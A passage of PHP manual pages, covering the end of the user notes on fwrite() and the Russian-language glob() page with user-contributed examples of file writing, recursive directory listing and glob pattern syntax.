        $fwrite = fwrite($fp, substr($string, $written));
        if ($fwrite === false) {
            return $written;
        }
    }
    return $written;
}
?>
oktavianus dot programmer at gmail dot com 03-Jun-2009 08:51
this the another sample to use fwrite with create a folder and create the txt file.

<?php
$mypath="testdir\\subdir\\test";
mkdir($mypath,0777,TRUE);
$filename = $mypath.'\test.txt';
$handle = fopen($filename,"x+");
$somecontent = "Add this to the file Oktavianus";
fwrite($handle,$somecontent);
echo "Success";
fclose($handle);
?>

please try...
Oktavianus
Anonymous 15-May-2009 09:36
If you write with the pointer in the middle of a file, it overwrites what's there rather than shifting the rest of the file along.
ceo at l-i-e dot com 10-Nov-2008 03:07
If you are trying to write binary/structured data (e.g., a 4-byte sequence for an (int)) to a file, you will need to use:
http://php.net/pack
james at facepwn dot com 09-Oct-2008 05:25
if (is_writable($filename)) {

Could also be

if (is_writable($filename) or die ("Can not write to ".$filename)) {
elinor_hust at REMOVETHIS dot hotmail dot com 01-Apr-2008 05:26
Remember to use double-quotes when outputting special characters such as \n or they come out literally.

...
dharris dot nospam at removethispart dot drh dot net 20-Feb-2008 10:47
Some people say that when writing to a socket not all of the bytes requested to be written may be written. You may have to call fwrite again to write bytes that were not written the first time. (At least this is how the write() system call in UNIX works.)

This is helpful code (warning: not tested with multi-byte character sets)

function fwrite_with_retry($sock, &$data)
{
    $bytes_to_write = strlen($data);
    $bytes_written = 0;

    while ( $bytes_written < $bytes_to_write )
    {
        if ( $bytes_written == 0 ) {
            $rv = fwrite($sock, $data);
        } else {
            $rv = fwrite($sock, substr($data, $bytes_written));
        }

        if ( $rv === false || $rv == 0 )
            return( $bytes_written == 0 ? false : $bytes_written );

        $bytes_written += $rv;
    }

    return $bytes_written;
}

Call this like so:

    $rv = fwrite_with_retry($sock, $request_string);

    if ( ! $rv )
        die("unable to write request_string to socket");
    if ( $rv != strlen($request_string) )
        die("sort write to socket on writing request_string");
chad 0x40 herballure 0x2e com 05-Sep-2007 10:13
Remember to check the return value of fwrite(). In particular, writing into a socket can return fewer bytes than requested, and you'll have to try again with the remainder of your data.
cutmaster at fearlesss dot com 09-Mar-2007 03:09
For those who, like me, lost a lot of minutes (hours) to understand why fwrite doesn't create a real utf-8 file, here's the explanation I've found :

I tried to do something like this :
<?php
$myString = utf8_encode("Test with accents eeac");
$fh=fopen('test.xml',"w");
fwrite($fh,$myString);
fclose($fh);
?>

For a mysterious reason, the resulted file shows the accent without the utf-8 conversion.

I tried the binary, mode, etc. etc. And finally I've found it :
It seems that fwrite NEEDS to have the utf8_encode function INSIDE its parameters like this, to understand it must create a non-text only file :
<?php
$myString = "Test with accents eeac";
$fh=fopen('test.xml',"w");
fwrite($fh,utf8_encode($myString));
fclose($fh);
?>
Hope this will help
zaccraven at junk.com 11-Sep-2006 12:08
Use this to get a UTF-8 Unicode CSV file that opens properly in Excel:

$tmp = chr(255).chr(254).mb_convert_encoding( $tmp, 'UTF-16LE', 'UTF-8');
$write = fwrite( $filepath, $tmp );

Use a tab character, not comma, to seperate the fields in  the $tmp.

Credit for this goes to someone called Eugene Murai, I found this solution by him after searching for several hours.
james at nicolson dot biz 06-Jul-2005 08:09
I could'nt quite get MKP Dev hit counter to work.... this is how I modified it
<?
function hitcount()
{
$file = "counter.txt";
if ( !file_exists($file)){
        touch ($file);
        $handle = fopen ($file, 'r+'); // Let's open for read and write
        $count = 0;

}
else{
        $handle = fopen ($file, 'r+'); // Let's open for read and write
        $count = fread ($handle, filesize ($file));
        settype ($count,"integer");
}
rewind ($handle); // Go back to the beginning
/*
 * Note that we don't have problems with 9 being fewer characters than
  * 10 because we are always incrementing, so we will always write at
   * least as many characters as we read
    **/
fwrite ($handle, ++$count); // Don't forget to increment the counter
fclose ($handle); // Done

return $count;
}
?>
MKP Dev 12-May-2005 05:25
bluevd at gmail dot com mentioned a hit counter. In his/her implementation, the file is first opened, read, closed, then opened +truncated, then written, and closed again. An alternative to this is:
<?php
$file = 'counter.txt or whatever';
$handle = fopen ($file, 'r+'); // Let's open for read and write
$count = int (fread ($handle, filesize ($file)));
// We don't want to think it's a string and try appending
echo "Number of hits $count";
rewind ($handle); // Go back to the beginning
/*
 * Note that we don't have problems with 9 being fewer characters than
 * 10 because we are always incrementing, so we will always write at
 * least as many characters as we read
 **/
fwrite ($handle, ++$count); // Don't forget to increment the counter
fclose ($handle); // Done
?>
Will at EnigmaChannel dot com 25-Mar-2005 06:24
Using fwrite to write to a file in your include folder...

PHP does not recognise the permissions setting for the file until you restart the server... this script works fine. (still have to create the blank text file first though...it is not created automatically) On OS X Server..
Using the 1 in fopen tells php to look for the file in your include folder. Change your include folder by altering include_path in php.ini
On OS X Server, php.ini is in private/etc/php.ini.default
copy the file and call it php.ini

the default include path is usr/lib/php
(All these folders are hidden - use TinkerTool to reveal them)

<?php
$file = fopen('textfile.txt', 'a', 1);
$text="\n Your text to write \n ".date('d')."-".date('m')."-".date('Y')."\n\n";
fwrite($file, $text);
fclose($file);
?>
sheyh 09-Feb-2005 09:55
if you want to create quickly and without fopen use system, exec

system('echo "blahblah" > /path/file');
kzevian at cybercable dot net dot mx 03-Feb-2005 11:27
I needed to append, but I needed to write on the file's beginning, and after some hours of effort this worked for me:

$file = "file.txt";
if (!file_exists("file.txt")) touch("file.txt");
$fh = fopen("file.txt", "r");
$fcontent = fread($fh, filesize("file.txt"));

$towrite = "$newcontent $fcontent";

$fh22 = fopen('file.txt', 'w+');
fwrite($fh2, $towrite);
fclose($fh);
fclose($fh2);
bluevd at gmail dot com 22-Dec-2004 09:56
Watch out for mistakes in writting a simple code for a hit counter:
<?php
$cont=fopen('cont.txt','r');
$incr=fgets($cont);
//echo $incr;
$incr++;
fclose($cont);
$cont=fopen('cont.txt','a');
fwrite($cont,$incr);
fclose($cont);
?>

Why? notice the second fopen -> $cont=fopen('cont.txt','a');
it opens the file in writting mode (a). And when it ads the incremented
value ( $incr ) it ads it ALONG the old value... so opening the counter
page about 5 times will make your hits number look like this
012131214121312151.21312141213E+ .... you get the piont.
nasty, isn't it? REMEMBER to open the file with the 'w' mode (truncate
the file to 0). Doing this will clear the file content and it will make sure that
your counter works nice. This is the final code

<?php
$cont=fopen('cont.txt','r');
$incr=fgets($cont);
//echo $incr;
$incr++;
fclose($cont);
$cont=fopen('cont.txt','w');
fwrite($cont,$incr);
fclose($cont);
?>

Notice that this work fine =)
XU (alias Iscu Andrei)
chill at cuna dot org 26-Oct-2004 03:32
In PHP 4.3.7 fwrite returns 0 rather than false on failure.
The following example will output "SUCCESS: 0 bytes written" for existing file test.txt:

$fp = fopen("test.txt", "rw");
if (($bytes_written = fwrite($fp, "This is a test")) === false) {
  echo "Unable to write to test.txt\n\n";
} else {
  echo "SUCCESS: $bytes_written bytes written\n\n";
}
php at biggerthanthebeatles dot com 21-Aug-2003 03:04
Hope this helps other newbies.

If you are writing data to a txt file on a windows system and need a line break. use \r\n . This will write hex OD OA.

i.e.
$batch_data= "some data... \r\n";
fwrite($fbatch,$batch_data);

The is the equivalent of opening a txt file in notepad pressing enter and the end of the line and saving it.
Andi 17-Jul-2003 02:32
[Ed. Note:
The runtime configuration setting auto_detect_line_endings should solve this problem when set to On.]

I figured out problems when writing to a file using \r as linebreak, after that file() wasn't able to read the data from that file.
Using \n solved the problem.
chedong at hotmail dot com 20-Jun-2003 02:36
the fwrite output striped the slashes if without length argument given, example:

<?php
$str = "c:\\01.txt";
$out = fopen("out.txt", "w");
fwrite($out, $str);
fclose($out);
?>

the out.txt will be:
c:^@1.txt
the '\\0' without escape will be '\0' ==> 0x00.

the correct one is change fwrite to:
fwrite($out, $str, strlen($str));
Jake Roberts 04-Jun-2003 11:35
Use caution when using:

$content = fread($fh, filesize($fh)) or die "Error Reading";

This will cause an error if the file you are reading is zero length.

Intead use:

if ( false === fread($fh, filesize($fh)) ) die "Error Reading";

Thus it will be successful on reading zero bytes but detect and error returned as FALSE.
Chris Blown 19-May-2003 03:12
Don't forget to check fwrite returns for errors! Just because you successfully opened a file for write, doesn't always mean you can write to it.

On some systems this can occur if the filesystem is full, you can still open the file and create the filesystem inode, but the fwrite will fail, resulting in a zero byte file.


Находит файловые пути, совпадающие с шаблоном

  • « fwrite
  • is_dir »
  • PHP Manual
  • Функции файловой системы
  • Находит файловые пути, совпадающие с шаблоном

glob

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

glob — Находит файловые пути, совпадающие с шаблоном

Описание

glob(string $pattern, int $flags = 0): array|false

Функция glob() ищет все пути, совпадающие с шаблоном pattern согласно правилам, используемым в функции glob() библиотеки libc, которые похожи на правила, используемые большинством распространённых оболочек.

Список параметров

pattern

Шаблон. Не происходит раскрытие тильды и подстановка параметров.

Специальные символы:

  • * - Соответствует нулю или большему количеству символов.
  • ? - Соответствует ровно одному символу (любому символу).
  • [...] - Соответствует одному символу из группы. Если первый символ !, то соответствует любому символу, не входящему в группу
  • \ - Экранирует следующий символ, кроме случаев, когда используется флаг GLOB_NOESCAPE.

flags

Допустимые флаги:

  • GLOB_MARK - Добавляет слеш (обратный слеш в Windows) к каждой возвращаемой директории.
  • GLOB_NOSORT - Возвращает файлы в том виде, в котором они содержатся в директории (без сортировки). Если этот флаг не указан, то имена сортируются по алфавиту.
  • GLOB_NOCHECK - Возвращает шаблон поиска, если с его помощью не был найден ни один файл.
  • GLOB_NOESCAPE - Обратные слеши не экранируют метасимволы.
  • GLOB_BRACE - Раскрывает {a,b,c} для совпадения с 'a', 'b' или 'c'.
  • GLOB_ONLYDIR - Возвращает только директории, совпадающие с шаблоном.
  • GLOB_ERR - Останавливается при ошибках чтения (например, директории без права чтения), по умолчанию ошибки игнорируются.

Замечание: Флаг GLOB_BRACE недоступен на некоторых не GNU-системах, например, Solaris или Alpine Linux.

Возвращаемые значения

Возвращает массив, который содержит совпадающие файлы/директории, пустой массив в случае отсутствия совпадения или false в случае ошибки.

Замечание:

На некоторых системах невозможно отличить отсутствие совпадения и ошибку.

Примеры

Пример #1 Удобный способ, как при помощи glob() можно заменить opendir() и её аналоги.

<?php
foreach (glob("*.txt") as $filename) {
echo "$filename размер " . filesize($filename) . "\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

funclist.txt размер 44686
funcsummary.txt размер 267625
quickref.txt размер 137820

Примечания

Замечание: Эта функция неприменима для работы с удалёнными файлами, поскольку файл должен быть доступен через файловую систему сервера.

Замечание: Функция недоступна на некоторых системах (например, старой Sun OS).

Смотрите также

  • opendir() - Открывает дескриптор каталога
  • readdir() - Получает элемент каталога по его дескриптору
  • closedir() - Закрывает дескриптор каталога
  • fnmatch() - Проверяет совпадение имени файла с шаблоном

User Contributed Notes

David Spector 28-Nov-2022 01:45
Here is basic PHP code to do a recursive scan of an entire directory tree, allowing you to do processing when reaching each directory and file:

// Do a recursive scan of an entire directory tree,
// starting with the current working directory
// using relative filepaths
// Includes files starting with '.'
// Minimally tested on Windows and Linux

Scan('.');

function Scan($dir)
    {
    // Add code for each directory $dir here

    $subdirs=glob($dir.'/{.[!.],}*',GLOB_BRACE);
    foreach ($subdirs as $file)
        {
        if (is_file($file))
            {
            // Add code for each file $file here
            }
        else if (substr($file,0,1)!='./.')
            Scan($file);
        }
    } // Scan
Philo 09-Apr-2021 11:08
It is also possible to nest alternations like this:
<?php
foreach (glob("{$dir}/*.{[jJ][pP]{,[eE]}[gG],[tT][iI][fF]{,[fF]}}", GLOB_BRACE) as $file) {
    // finds both .jp(e)g and .tif(f) files
    // please note that you should double-check the file type, though
}
bitman at biitworks dot de 22-Mar-2021 07:22
Brackets in the pattern maust be bracketed:

Filename = " [Fail2Ban] recidive *.eml"

The pattern should be:

    $pattern = '[[]Fail2Ban[]] recidive *.eml';

Otherwise the brackets will be treated as character class identifier.
Anonymous 25-Jan-2021 12:25
Include dotfiles excluding . and .. special dirs with .[!.]*

<?php
$all_files = array_merge(glob('.[!.]*'), glob('*'));
// or
$all_files = glob('{.[!.],}*', GLOB_BRACE);
?>
davewho at nexicom dot net 29-Dec-2020 03:09
Note that if you use braces ie. /*.{gif,jpg,htm} then glob returns
gifs before jpgs before htm files rather than in filename sequence.
vincewansink at outlook dot com 17-Oct-2019 09:05
Note that when the documentation says the files will be returned in "alphabetical" order, you may not get the results you expect if your files are numbered.

For example, files will be returned in the following order:

file.1.txt
file.10.txt
file.2.txt

Not (as you might expect):

file.1.txt
file.2.txt
file.10.txt
simon at paragi dot dk 02-Jun-2016 07:31
This is a simple and versatile function that returns an array tree of files, matching wildcards:

<?php
// List files in tree, matching wildcards * and ?
function tree($path){
  static $match;

  // Find the real directory part of the path, and set the match parameter
  $last=strrpos($path,"/");
  if(!is_dir($path)){
    $match=substr($path,$last);
    while(!is_dir($path=substr($path,0,$last)) && $last!==false)
      $last=strrpos($path,"/",-1);
  }
  if(empty($match)) $match="/*";
  if(!$path=realpath($path)) return;

  // List files
  foreach(glob($path.$match) as $file){
    $list[]=substr($file,strrpos($file,"/")+1);
  }

  // Process sub directories
  foreach(glob("$path/*", GLOB_ONLYDIR) as $dir){
    $list[substr($dir,strrpos($dir,"/",-1)+1)]=tree($dir);
  }

  return @$list;
}
?>
sebastian dot wasser at gmail dot com 23-Apr-2016 11:50
I created a rglob function to support a '/**/' wildcard. You can even set the order to post-order or pre-order traversal.

<?php

function rglob ($pattern, $flags = 0, $traversePostOrder = false) {
    // Keep away the hassles of the rest if we don't use the wildcard anyway
    if (strpos($pattern, '/**/') === false) {
        return glob($pattern, $flags);
    }

    $patternParts = explode('/**/', $pattern);

    // Get sub dirs
    $dirs = glob(array_shift($patternParts) . '/*', GLOB_ONLYDIR | GLOB_NOSORT);

    // Get files for current dir
    $files = glob($pattern, $flags);

    foreach ($dirs as $dir) {
        $subDirContent = rglob($dir . '/**/' . implode('/**/', $patternParts), $flags, $traversePostOrder);

        if (!$traversePostOrder) {
            $files = array_merge($files, $subDirContent);
        } else {
            $files = array_merge($subDirContent, $files);
        }
    }

    return $files;
};

?>
sharshun dot aliaksandr at gmail dot com 04-Nov-2015 02:26
<?php

function glob_recursive($pattern, $flags = 0){
// forked from https://github.com/rodurma/PHP-Functions/
    // blob/master/glob_recursive.php
  $files = glob($pattern, $flags);

  foreach (glob(dirname($pattern).'/*',
      GLOB_ONLYDIR|GLOB_NOSORT) as $dir){
    $files = array_merge($files, glob_recursive
        ($dir.'/'.basename($pattern), $flags));
  }
  return $files;
}
// $a=glob_recursive('c:/test_directory/'."*.*");
// print_r($a);

function dirInfoReGet($s){
    $a=glob_recursive($s."*.*");
    $ar=glob_recursive($s."**/**");
    $arr=array_unique(array_merge($a, $ar));

    foreach ($arr as $v) {
        if (is_dir($v)) {
            $arra[0][]=$v.'/';
        } else {
            $arra[1][]=$v;
        }
    }
    sort($arra);
    return $arra;
}
$a=dirInfoReGet('c:/test_directory/');
print_r($a);

?>

http://i.stack.imgur.com/H7UF3.jpg

Best regards.
Anxiety35 at gmail dot com 01-Dec-2014 09:20
After fiddling with GLOB_BRACE a bunch, I have found the most items that can be included in the braces is about 10 before glob no longer returns any matches.

I have a scenario where there can be a thousand or more files to check for where I can't pattern match and need to check specific names. I was hoping to batch them in large groups to see if it would help performance. However, if I include more than 10 in a GLOB_BRACE the function will return FALSE.
rene dot rathmann at gmx dot de 02-Jan-2014 11:05
You can do a recursive file search with yield.

<?php
function findAllDirs($start) {
    $dirStack=[$start];
    while($dir=array_shift($dirStack)) {
        $ar=glob($dir.'/*',GLOB_ONLYDIR|GLOB_NOSORT);
        if(!$ar) continue;

        $dirStack=array_merge($dirStack,$ar);
        foreach($ar as $DIR)
            yield $DIR;
    }
}

$fname='*.php';
$result=[];
foreach(findAllDirs('/var/www/localhost') as $dir) {
    $match=glob($dir.'/'.$fname,GLOB_NOSORT);
    if(!$match) continue;
    $result=array_merge($result,$match);
}

print_r($result);
?>
soywiz at gmail dot com 26-Apr-2013 10:26
Recursive glob for PHP>=5.5

function globRecursive($path, $find) {
    $dh = opendir($path);
    while (($file = readdir($dh)) !== false) {
        if (substr($file, 0, 1) == '.') continue;
        $rfile = "{$path}/{$file}";
        if (is_dir($rfile)) {
            foreach (globRecursive($rfile, $find) as $ret) {
                yield $ret;
            }
        } else {
            if (fnmatch($find, $file)) yield $rfile;
        }
    }
    closedir($dh);
}
bimal at sanjaal dot com 07-Mar-2013 04:28
To pick one of the file randomly from your directory with full physical path, you can write something like this:

<?php
function one_random_image_file()
{
    $files = glob('../images/*.jpg');
    shuffle($files);
    return realpath($files[0]);
}
$image_to_read = one_random_image_file();
?>
agd243 at gmail dot com 27-Jan-2013 02:45
A simple function that find all files by extension an return it by an array.
<?php
function findFiles($directory, $extensions = array()) {
    function glob_recursive($directory, &$directories = array()) {
        foreach(glob($directory, GLOB_ONLYDIR | GLOB_NOSORT) as $folder) {
            $directories[] = $folder;
            glob_recursive("{$folder}/*", $directories);
        }
    }
    glob_recursive($directory, $directories);
    $files = array ();
    foreach($directories as $directory) {
        foreach($extensions as $extension) {
            foreach(glob("{$directory}/*.{$extension}") as $file) {
                $files[$extension][] = $file;
            }
        }
    }
    return $files;
}
var_dump(findFiles("C:", array (

    "jpg",
    "pdf",
    "png",
    "html"
)));
?>
Gabriel S. Luraschi 30-Oct-2012 06:54
Use this to exclude hidden files on MS Windows.

<?php
exec("dir \"{$path}\" /A:-H /B", $result);
?>
ni dot pineau at gmail dot com 12-Oct-2012 04:08
Note that in case you are using braces with glob you might retrieve duplicated entries for files that matche more than one item :

<?php

$a = glob('/path/*{foo,bar}.dat',GLOB_BRACE);
print_r($a);

?>

Result :
Array
(
    [0] => /path/file_foo.dat
    [1] => /path/file_foobar.dat
    [2] => /path/file_foobar.dat
)
Sam Bryan 26-Apr-2012 04:13
glob is case sensitive, even on Windows systems.

It does support character classes though, so a case insensitive version of
<?php glob('my/dir/*.csv') ?>

could be written as
<?php glob('my/dir/*.[cC][sS][vV]') ?>
Mike 21-Nov-2011 07:48
<?php

if ( ! function_exists('glob_recursive'))
{
    // Does not support flag GLOB_BRACE

    function glob_recursive($pattern, $flags = 0)
    {
        $files = glob($pattern, $flags);

        foreach (glob(dirname($pattern).'/*', GLOB_ONLYDIR|GLOB_NOSORT) as $dir)
        {
            $files = array_merge($files, glob_recursive($dir.'/'.basename($pattern), $flags));
        }

        return $files;
    }
}

?>
mkas at destiny dot lt 05-Oct-2011 12:58
recursive file search

<?php
$path[] = 'starting_place/*';

while(count($path) != 0)
{
    $v = array_shift($path);
    foreach(glob($v) as $item)
    {
        if (is_dir($item))
            $path[] = $item . '/*';
        elseif (is_file($item))
        {
             //do something
        }
    }
}
?>
Ultimater at gmail dot com 20-Mar-2011 11:44
glob() isn't limited to one directory:

<?php
$results=glob("{includes/*.php,core/*.php}",GLOB_BRACE);
echo '<pre>',print_r($results,true),'</pre>';
?>

Just be careful when using GLOB_BRACE regarding spaces around the comma:
{includes/*.php,core/*.php} works as expected, but
{includes/*.php, core/*.php} with a leading space, will only match the former as expected but not the latter
unless you have a directory named " core" on your machine with a leading space.
PHP can create such directories quite easily like so:
mkdir(" core");
david dot schueler at tel-billig dot de 15-Mar-2011 06:32
Don't use glob() if you try to list files in a directory where very much files are stored (>100.000). You get an "Allowed memory size of XYZ bytes exhausted ..." error.
You may try to increase the memory_limit variable in php.ini. Mine has 128MB set and the script will still reach this limit while glob()ing over 500.000 files.

The more stable way is to use readdir() on very large numbers of files:
<?php
// code snippet
if ($handle = opendir($path)) {
    while (false !== ($file = readdir($handle))) {
        // do something with the file
        // note that '.' and '..' is returned even
    }
    closedir($handle);
}
?>
troy at troyonline dot com 28-Feb-2011 09:50
If you have open_basedir set in php.ini to limit which files php can execute, glob(...) will return false when there are no matching files.  If open_basedir is not set, the very same code will return an empty array in the same situation.

This is unfortunate as a seemingly innocuous change causes different functionality that breaks code like:

foreach(glob("*.ext") as $file)
...

See this link if you have any questions as to why this is so:
http://bugs.php.net/bug.php?id=47358
peter dot adrianov at gmail dot com 14-May-2010 04:29
Non-recursive search files, proceeding down directory tree.

<?php
function scandir_through($dir)
{
    $items = glob($dir . '/*');

    for ($i = 0; $i < count($items); $i++) {
        if (is_dir($items[$i])) {
            $add = glob($items[$i] . '/*');
            $items = array_merge($items, $add);
        }
    }

    return $items;
}
?>
BigueNique at yahoo dot ca 08-May-2010 11:45
Here is the function array_prepend() used by my latest post of safe_glob().

<?php
/**
 * Prepends $string to each element of $array
 * If $deep is true, will indeed also apply to sub-arrays
 * @author BigueNique AT yahoo DOT ca
 * @since 080324
 */
function array_prepend($array, $string, $deep=false) {
    if(empty($array)||empty($string)) return $array;
    foreach($array as $key => $element)
        if(is_array($element))
            if($deep)
                $array[$key] = array_prepend($element,$string,$deep);
            else
                trigger_error('array_prepend: array element',E_USER_WARNING);
        else
            $array[$key] = $string.$element;
    return $array;

}
?>
wang yun 22-Sep-2009 06:00
A function to quickly remove a directory (works in seconds for a hundred thousand files)

<?php
/**
 * Remove the directory and its content (all files and subdirectories).
 * @param string $dir the directory name
 */
function rmrf($dir) {
    foreach (glob($dir) as $file) {
        if (is_dir($file)) {
            rmrf("$file/*");
            rmdir($file);
        } else {
            unlink($file);
        }
    }
}
?>
uramihsayibok, gmail, com 04-Aug-2009 03:38
Those of you with PHP 5 don't have to come up with these wild functions to scan a directory recursively: the SPL can do it.

<?php

$dir_iterator = new RecursiveDirectoryIterator("/path");
$iterator = new RecursiveIteratorIterator($dir_iterator, RecursiveIteratorIterator::SELF_FIRST);
// could use CHILD_FIRST if you so wish

foreach ($iterator as $file) {
    echo $file, "\n";
}

?>

Not to mention the fact that $file will be an SplFileInfo class, so you can do powerful stuff really easily:

<?php

$size = 0;
foreach ($iterator as $file) {
    if ($file->isFile()) {
        echo substr($file->getPathname(), 27) . ": " . $file->getSize() . " B; modified " . date("Y-m-d", $file->getMTime()) . "\n";
        $size += $file->getSize();
    }
}

echo "\nTotal file size: ", $size, " bytes\n";

?>

\Luna\luna.msstyles: 4190352 B; modified 2008-04-13
\Luna\Shell\Homestead\shellstyle.dll: 362496 B; modified 2006-02-28
\Luna\Shell\Metallic\shellstyle.dll: 362496 B; modified 2006-02-28
\Luna\Shell\NormalColor\shellstyle.dll: 361472 B; modified 2006-02-28
\Luna.theme: 1222 B; modified 2006-02-28
\Windows Classic.theme: 3025 B; modified 2006-02-28

Total file size: 5281063 bytes
endiku 29-Jul-2009 08:47
For those who need to recursively search a directory tree and cannot or wish not to call a function within itself here is another suggestion.

I tried the previously suggested listdirs_safe() and it didn't seem to find all subfolders in a directory tree.

There are two variations on the same theme.

Single Array.
<?php
$dir ='/dir';
while($dirs = glob($dir . '/*', GLOB_ONLYDIR)) {
  $dir .= '/*';
  if(!$d) {
     $d=$dirs;
   } else {
      $d=array_merge($d,$dirs);
   }
}
?>

Multiple arrays.
<?php
$n=0;
$dir ='/dir';
while($dirs = glob($dir . '/*', GLOB_ONLYDIR)) {
  $dir .= '/*';
  if(!$d) {
     $d=$dirs;
   } else {
     $d[$n]=$dirs;
   }
  $n++;
}
?>

This will result in the glob looping via "dir/*/*/*/*.." until it is no longer finding a directory structure.
nuntius 06-Jul-2009 10:10
First off, it's nice to see all of the different takes on this. Thanks for all of the great examples.

Fascinated by the foreach usage I was curious how it might work with a for loop. I found that glob was well suited for this, especially compared to opendir.  The for loop is always efficient when you want to protect against a potential endless loop.

$dir=$_SERVER['DOCUMENT_ROOT']."/test/directory_listing/test";
    echo $dir;
    $filesArray=glob($dir."/*.*");

    $line.="<pre>";
    $line.=print_r($filesArray, true);
    $line.="</pre>";
    $line.="<hr>";

    for($i=0;$i<count($filesArray);$i++) {
        $line.=key($filesArray)." - ";
        $line.=$filesArray[$i]."<br/>";
         next($filesArray);
    }

    echo $line;

Note that I pulled the glob array keys if you should need them.

Also you can tweak it for searches with something like this... (case sensitive)

$search_names="Somedocname";
$filesArray=glob($dir."/".$search_names."*.*");

Enjoy!
sven at NOSPAM dot sven dot globalunix dot org 11-Jun-2009 09:22
If you want to use wildcard expressions (like they are used by glob() ) to search on strings, you can use this function:

<?php
function match_wildcard( $wildcard_pattern, $haystack ) {
   $regex = str_replace(
     array("\*", "\?"), // wildcard chars
     array('.*','.'),   // regexp chars
     preg_quote($wildcard_pattern)
   );

   return preg_match('/^'.$regex.'$/is', $haystack);
}

$test = "foobar and blob\netc.";
var_dump(
    match_wildcard('foo*', $test),      // TRUE
    match_wildcard('bar*', $test),      // FALSE
    match_wildcard('*bar*', $test),     // TRUE
    match_wildcard('**blob**', $test),  // TRUE
    match_wildcard('*a?d*', $test),     // TRUE
    match_wildcard('*etc**', $test)     // TRUE
);
?>
r dot hartung at roberthartung dot de 04-May-2009 12:34
You can use multiple asterisks with the glob() - function.

Example:

<?php
  $paths = glob('my/*/dir/*.php');
?>

$paths will contains paths as following examples:

- my/1/dir/xyz.php
- my/bar/dir/bar.php
- my/bar/dir/foo.php
crayonviolent at phpfreaks dot com 16-Jan-2009 11:50
Since I feel this is rather vague and non-helpful, I thought I'd make a post detailing the mechanics of the glob regex.

glob uses two special symbols that act like sort of a blend between a meta-character and a quantifier.  These two characters are the * and ?

The ? matches 1 of any character except a /
The * matches 0 or more of any character except a /

If it helps, think of the * as the pcre equivalent of .* and ? as the pcre equivalent of the dot (.)

Note: * and ? function independently from the previous character. For instance, if you do glob("a*.php") on the following list of files, all of the files starting with an 'a' will be returned, but * itself would match:

a.php // * matches nothing
aa.php // * matches the second 'a'
ab.php // * matches 'b'
abc.php // * matches 'bc'
b.php // * matches nothing, because the starting 'a' fails
bc.php // * matches nothing, because the starting 'a' fails
bcd.php // * matches nothing, because the starting 'a' fails

It does not match just a.php and aa.php as a 'normal' regex would, because it matches 0 or more of any character, not the character/class/group before it.

Executing glob("a?.php") on the same list of files will only return aa.php and ab.php because as mentioned, the ? is the equivalent of pcre's dot, and is NOT the same as pcre's ?, which would match 0 or 1 of the previous character.

glob's regex also supports character classes and negative character classes, using the syntax [] and [^]. It will match any one character inside [] or match any one character that is not in [^].

With the same list above, executing

glob("[ab]*.php) will return (all of them):
a.php  // [ab] matches 'a', * matches nothing
aa.php // [ab] matches 'a', * matches 2nd 'a'
ab.php // [ab] matches 'a', * matches 'b'
abc.php // [ab] matches 'a', * matches 'bc'
b.php // [ab] matches 'b', * matches nothing
bc.php // [ab] matches 'b', * matches 'c'
bcd.php // [ab] matches 'b', * matches 'cd'

glob("[ab].php") will return a.php and b.php

glob("[^a]*.php") will return:
b.php // [^a] matches 'b', * matches nothing
bc.php // [^a] matches 'b', * matches 'c'
bcd.php // [^a] matches 'b', * matches 'cd'

glob("[^ab]*.php") will return nothing because the character class will fail to match on the first character.

You can also use ranges of characters inside the character class by having a starting and ending character with a hyphen in between.  For example, [a-z] will match any letter between a and z, [0-9] will match any (one) number, etc..

glob also supports limited alternation with {n1, n2, etc..}.  You have to specify GLOB_BRACE as the 2nd argument for glob in order for it to work.  So for example, if you executed glob("{a,b,c}.php", GLOB_BRACE) on the following list of files:

a.php
b.php
c.php

all 3 of them would return.  Note: using alternation with single characters like that is the same thing as just doing glob("[abc].php").  A more interesting example would be glob("te{xt,nse}.php", GLOB_BRACE) on:

tent.php
text.php
test.php
tense.php

text.php and tense.php would be returned from that glob.

glob's regex does not offer any kind of quantification of a specified character or character class or alternation.  For instance, if you have the following files:

a.php
aa.php
aaa.php
ab.php
abc.php
b.php
bc.php

with pcre regex you can do ~^a+\.php$~ to return

a.php
aa.php
aaa.php

This is not possible with glob.  If you are trying to do something like this, you can first narrow it down with glob, and then get exact matches with a full flavored regex engine.  For example, if you wanted all of the php files in the previous list that only have one or more 'a' in it, you can do this:

<?php
   $list = glob("a*.php");
   foreach ($list as $l) {
      if (preg_match("~^a+\.php$~",$file))
         $files[] = $l;
   }
?>

glob also does not support lookbehinds, lookaheads, atomic groupings, capturing, or any of the 'higher level' regex functions.

glob does not support 'shortkey' meta-characters like \w or \d.
carlos dot lage at nospam at foo dot bar at gmail dot com 17-Oct-2008 06:18
I lost hours looking for the solution for this problem.
glob() wasn't eating up my directory names (stuff like "foobar[]"), and I searched online for some hours, I tried preg_quote to no avail.

I finally found the proper way to escape stuff in glob() in an obscure Python mailing list:

<?php
preg_replace('/(\*|\?|\[)/', '[$1]', $dir_path);
?>

If you want to add a directory path before your pattern, you should do it like this:

<?php
glob(preg_replace('/(\*|\?|\[)/', '[$1]', $dir_path).'*.txt');
?>
preg_quote WILL NOT work in all cases (if any).
heavyraptor at gmail dot com 19-May-2008 04:56
glob() (array_sum() and array_map() in fact too) can be very useful if you want to calculate the sum of all the files' sizes located in a directory:

<?php
$bytes = array_sum(array_map('filesize',glob('*')));
?>

Unfortunately there's no way to do this recursively, using glob() (as far as I know).
pope at q dot com 23-Apr-2008 06:08
alan at ridersite dot org 18-Mar-2007 03:26 -- Stated '*.*' is the same as '*' -- This is not true as * alone will return directories too and *.* will only return files with an extension such as .pdf or .doc or .php.
alan at synergymx dot com 15-Apr-2008 12:08
Here is a function that returns specific files in an array, with all of the details. Includes some basic garbage checking.

Variables

$source_folder // the location of your files
$ext // file extension you want to limit to (i.e.: *.txt)
$sec // if you only want files that are at least so old.

The function

function glob_files($source_folder, $ext, $sec, $limit){
    if( !is_dir( $source_folder ) ) {
        die ( "Invalid directory.\n\n" );
    }

    $FILES = glob($source_folder."\*.".$ext);
    $set_limit    = 0;

    foreach($FILES as $key => $file) {

        if( $set_limit == $limit )    break;

        if( filemtime( $file ) > $sec ){

            $FILE_LIST[$key]['path']    = substr( $file, 0, ( strrpos( $file, "\\" ) +1 ) );
            $FILE_LIST[$key]['name']    = substr( $file, ( strrpos( $file, "\\" ) +1 ) );
            $FILE_LIST[$key]['size']    = filesize( $file );
            $FILE_LIST[$key]['date']    = date('Y-m-d G:i:s', filemtime( $file ) );
            $set_limit++;

        }

    }
